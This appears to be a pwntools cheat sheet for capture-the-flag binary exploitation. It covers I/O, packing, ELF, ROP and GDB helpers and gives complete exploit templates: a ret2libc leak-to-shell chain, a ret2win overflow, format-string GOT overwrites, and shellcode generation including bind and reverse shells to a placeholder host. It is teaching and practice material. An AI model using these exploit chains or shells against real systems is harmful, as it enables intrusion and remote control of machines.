# Install pip install pwntools # Import (star import for CTF scripts) from pwn import * # Set context — affects pack/shellcraft/logging context.arch = 'amd64' # i386 | amd64 | arm | aarch64 | mips context.os = 'linux' # linux | windows | freebsd context.bits = 64 # 32 | 64 context.endian = 'little' # little | big context.log_level = 'debug' # debug | info | warn | error # Auto-set from binary context.binary = ELF('./challenge') # Convenience: set multiple at once context(arch='amd64', os='linux', log_level='info')
# Log levels log.debug('debug msg') log.info('info msg') log.success('exploit worked!') log.warning('warning') log.error('error — raises exception') log.failure('failed') # Progress spinner with log.progress('Leaking libc...') as prog: prog.status('trying offset 1') # ... work ... prog.success(f'found at offset 42') # Pretty-print bytes log.info(enhex(payload)) log.info(f'leak = {leak:#x}')
# Local process p = process('./challenge') p = process(['./challenge', 'arg1']) p = process('./challenge', stdin=PTY) # allocate PTY p = process('./challenge', env={'VAR':'val'}) # Remote TCP p = remote('host', 1337) p = remote('host', 1337, ssl=True) # TLS p = remote('host', 1337, timeout=10) # UDP p = remote('host', 1337, typ='udp') # SSH s = ssh('user', 'host', password='pass') p = s.process('./challenge') p = s.shell() # Listen (bind server) l = listen(4444) p = l.wait_for_connection() # Close p.close()
# Common CTF pattern: toggle with args import sys if len(sys.argv) > 1 and sys.argv[1] == 'remote': p = remote('challenge.ctf.com', 1337) else: p = process('./challenge') # Run: python3 solve.py → local # Run: python3 solve.py remote → remote # Or use args module if args.REMOTE: p = remote('host', 1337) else: p = process('./challenge') # Run: python3 solve.py REMOTE
# Send bytes (no newline) p.send(b'data') p.send(payload) # Send + newline (\n) p.sendline(b'data') p.sendline(str(answer).encode()) # Wait for string then send p.sendafter(b'Enter: ', b'data') p.sendlineafter(b'> ', b'cmd') # Send multiple lines p.sendlines([b'line1', b'line2', b'line3']) # Send EOF (close stdin) p.shutdown('send') # Send to specific fd p.send(b'data') # always stdout of process
# Receive exact N bytes data = p.recv(8) data = p.recv(8, timeout=5) # Receive one line (until \n) line = p.recvline() line = p.recvline(keepends=False) # strip \n # Receive until string found p.recvuntil(b'flag: ') p.recvuntil(b': ', drop=True) # discard delimiter # Receive all output until EOF/timeout data = p.recvall() data = p.clean() # recv all buffered data = p.clean(timeout=1) # Receive N lines lines = p.recvlines(3) # Receive regex match m = p.recvregex(rb'flag\{.*?\}') # Interactive shell p.interactive() # drop to manual I/O
# Pack integers (little-endian by default) p8(0x41) # → b'\x41' 1 byte p16(0x4142) # → b'\x42\x41' 2 bytes LE p32(0xdeadbeef) # → b'\xef\xbe\xad\xde' 4 bytes LE p64(0xdeadbeef) # → 8 bytes LE # Unpack integers u8(b'\x41') # → 65 u16(b'\x42\x41') # → 0x4142 u32(b'\xef\xbe\xad\xde') # → 0xdeadbeef u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # → 0xdeadbeef # Endianness override p32(0xdeadbeef, endian='big') # → b'\xde\xad\xbe\xef' u32(data, endian='big') # Pack from 6-byte leak (common libc leak pattern) leak = u64(p.recv(6).ljust(8, b'\x00')) libc.address = leak - libc.sym['puts']
# Hex encode/decode enhex(b'pico') # → '7069636f' unhex('7069636f') # → b'pico' # XOR xor(b'data', b'key') # → XOR bytes, key repeats xor(b'data', 0x41) # → XOR with single byte # Rotate (bit rotation) rol(0b10110001, 2, 8) # rotate left 2 bits in 8-bit word ror(0b10110001, 2, 8) # rotate right # Byte utilities bits(b'A') # → [0,1,0,0,0,0,0,1] bit list unbits([0,1,0,0,0,0,0,1]) # → b'A' # String conversion flat(1337, b'\x00', 'text') # flatten mixed list to bytes fit({0: b'AAA', 40: p64(0x401234)}) # place at offsets
elf = ELF('./challenge') libc = ELF('./libc.so.6') # Symbols elf.sym['main'] # function address elf.sym['win'] # win() address elf.symbols['flag_buf'] # global variable # PLT / GOT elf.plt['puts'] # PLT entry → call this to call puts elf.got['puts'] # GOT entry → address of puts pointer # Search bytes/strings next(elf.search(b'/bin/sh')) # first occurrence list(elf.search(b'\x90\x90')) # all occurrences # Sections elf.section('.data') # raw bytes of section elf.get_section_by_name('.bss').header.sh_addr
# Binary properties elf.arch # 'amd64' elf.bits # 64 elf.endian # 'little' elf.entry # entry point address elf.pie # True if PIE enabled elf.nx # NX bit elf.canary # stack canary present? # Set base after leak (PIE) elf.address = leak - elf.sym['main'] # Now all elf.sym[] return correct addresses # libc: set base after leak libc.address = puts_leak - libc.sym['puts'] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh')) exit_ = libc.sym['exit'] # Patch and save elf.write(0x401234, b'\x90\x90') elf.save('patched')
elf = ELF('./challenge') rop = ROP(elf) # Find gadgets rop.find_gadget(['pop rdi', 'ret'])[0] # address rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] rop.find_gadget(['ret'])[0] # stack alignment # Build chain rop.raw(p64(pop_rdi)) rop.raw(p64(elf.got['puts'])) rop.raw(p64(elf.plt['puts'])) rop.raw(p64(elf.sym['main'])) # Or use call syntax rop.call(elf.plt['puts'], [elf.got['puts']]) rop.call(elf.sym['main']) # Get chain bytes chain = rop.chain() print(rop.dump()) # human-readable
from pwn import * elf = ELF('./challenge') libc = ELF('./libc.so.6') rop = ROP(elf) p = process('./challenge') offset = 40 # Stage 1: leak puts@GOT pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret_gadget = rop.find_gadget(['ret'])[0] payload = b'A' * offset payload += p64(pop_rdi) payload += p64(elf.got['puts']) payload += p64(elf.plt['puts']) payload += p64(elf.sym['main']) # return to main p.sendlineafter(b'> ', payload) leak = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.sym['puts'] log.success(f'libc @ {libc.address:#x}') # Stage 2: system('/bin/sh') rop2 = ROP(libc) rop2.call(libc.sym['system'], [next(libc.search(b'/bin/sh'))]) payload2 = b'A' * offset + rop2.chain() p.sendlineafter(b'> ', payload2) p.interactive()
# Generate shellcode (uses context.arch) context(arch='amd64', os='linux') sc = shellcraft.sh() # execve /bin/sh sc = shellcraft.cat('/flag') # read + print file sc = shellcraft.cat('/flag', fd=1) # explicit fd sc = shellcraft.echo('hello') sc = shellcraft.listen(4444) # bind shell sc = shellcraft.connect('host', 4444) # reverse shell # Assemble to bytes shellcode = asm(sc) print(shellcode.hex()) print(len(shellcode), 'bytes') # Direct asm code = asm("xor rax, rax; push rax; ret") code = asm(""" mov rdi, 0 mov rax, 60 syscall """)
# Assemble asm("nop") # → b'\x90' asm("pop rdi; ret") asm("mov eax, 1", arch='i386') # override arch # Disassemble disasm(b'\x90\xc3') # → 'nop\nret' disasm(shellcode, arch='amd64') print(disasm(asm(shellcraft.sh()))) # Check shellcode for bad bytes sc = asm(shellcraft.sh()) bad = [b'\x00', b'\x0a'] for b in bad: if b in sc: log.warning(f'bad byte {b.hex()} in shellcode') # Archs: i386, amd64, arm, aarch64, mips, mips64 # Get list: shellcraft.archs
# Generate de Bruijn pattern cyclic(200) # 200-char ASCII pattern cyclic(200, n=8) # 8-byte substrings (64-bit) # Find offset from crash value cyclic_find(0x61616165) # 32-bit crash value cyclic_find(b'eaaa') # 4-byte string from memory cyclic_find(0x6161616161616165, n=8) # 64-bit # In pwndbg: cyclic -l $rsp or cyclic -l 0x6161616e # Typical usage p.sendline(cyclic(200)) p.wait() core = p.corefile # auto-collect core dump offset = cyclic_find(core.rsp) log.info(f'offset = {offset}')
# checksec elf = ELF('./challenge') # or just run: checksec ./challenge # Core dump analysis p = process('./challenge') p.sendline(cyclic(200)) p.wait() core = Coredump('./core') print(f'rip = {core.rip:#x}') print(f'rsp = {core.rsp:#x}') offset = cyclic_find(core.rsp) # Pause execution (set breakpoint before sending) pause() # wait for Enter key # Environment helpers which('ls') # find binary in PATH wait_for_debugger() # print PID and pause # Integer math helpers bits_required(255) # → 8 next_power_of_two(100) # → 128 align(0x1234, 0x1000) # round up to alignment
# Launch process under GDB (opens terminal window) p = gdb.debug('./challenge', ''' set follow-fork-mode child break main continue ''') # Attach GDB to running process p = process('./challenge') gdb.attach(p, ''' break *0x401234 continue ''') pause() # let GDB catch up # Use GDB script file gdb.attach(p, gdbscript=open('debug.gdb').read()) # env override for GDB process p = gdb.debug('./challenge', env={'LD_PRELOAD': './libc.so.6'})
# Use custom libc version p = process('./challenge', env={'LD_PRELOAD': './libc-2.35.so'}) # patchelf: patch binary to use specific libc # patchelf --set-interpreter ./ld.so --set-rpath . ./challenge # libc version from leak: use libc.rip # https://libc.rip — paste leaked puts/write address # Download matching libc # libc-database: https://github.com/niklasb/libc-database # ./find puts 0x...abc → gives libc version # ./download ubuntu-xenial-amd64-libc6
# Automatically build %n write payload # fmtstr_payload(offset, {addr: value}) from pwn import * elf = ELF('./challenge') libc = ELF('./libc.so.6') # Find format string offset first: # send: AAAA.%1$p.%2$p.%3$p... find 0x41414141 offset = 6 # your found offset # Overwrite GOT entry printf_got = elf.got['printf'] system_addr = libc.sym['system'] # after leak payload = fmtstr_payload(offset, {printf_got: system_addr}) # Overwrite 1 byte at a time (if payload too long) payload = fmtstr_payload(offset, {addr: val}, write_size='byte') # 'byte'|'short'|'int'
from pwn import * def find_fmt_offset(): for i in range(1, 50): p = process('./challenge') payload = f'AAAA.%{i}$x'.encode() p.sendlineafter(b'> ', payload) resp = p.recvline() p.close() if b'41414141' in resp: log.success(f'offset = {i}') return i return None # 64-bit: look for 0x4141414141414141 def find_fmt_offset_64(): for i in range(1, 50): p = process('./challenge') payload = b'AAAAAAAA' + f'.%{i}$p'.encode() p.sendlineafter(b'> ', payload) resp = p.recvline() p.close() if b'0x4141414141414141' in resp: log.success(f'offset = {i}') return i
from pwn import * context(arch='amd64', os='linux', log_level='info') elf = ELF('./challenge') p = process('./challenge') if not args.REMOTE else remote('host', 1337) offset = 40 # cyclic / cyclic_find win = elf.sym['win'] ret = ROP(elf).find_gadget(['ret'])[0] # stack align payload = b'A' * offset payload += p64(ret) # align stack for libc payload += p64(win) p.sendlineafter(b'> ', payload) p.interactive()
from pwn import * # ── config ────────────────────────────────────────── HOST, PORT = 'challenge.ctf.com', 1337 BINARY = './challenge' LIBC = './libc.so.6' elf = ELF(BINARY) libc = ELF(LIBC) context.binary = elf def conn(): if args.REMOTE: return remote(HOST, PORT) if args.GDB: return gdb.debug(BINARY, 'b main\nc') return process(BINARY) # ── exploit ───────────────────────────────────────── def exploit(): p = conn() # your exploit here offset = 40 payload = flat(b'A' * offset, p64(elf.sym['win'])) p.sendlineafter(b'> ', payload) p.interactive() if __name__ == '__main__': exploit()
p32/p64 pack
· u32/u64 unpack
· elf.sym/plt/got addresses
· ROP(elf).find_gadget gadgets
· libc.address = leak - libc.sym['puts'] base
· cyclic / cyclic_find offset
· asm(shellcraft.sh()) shellcode
· fmtstr_payload(off, {got: addr}) fmt write
· p.interactive() drop to shell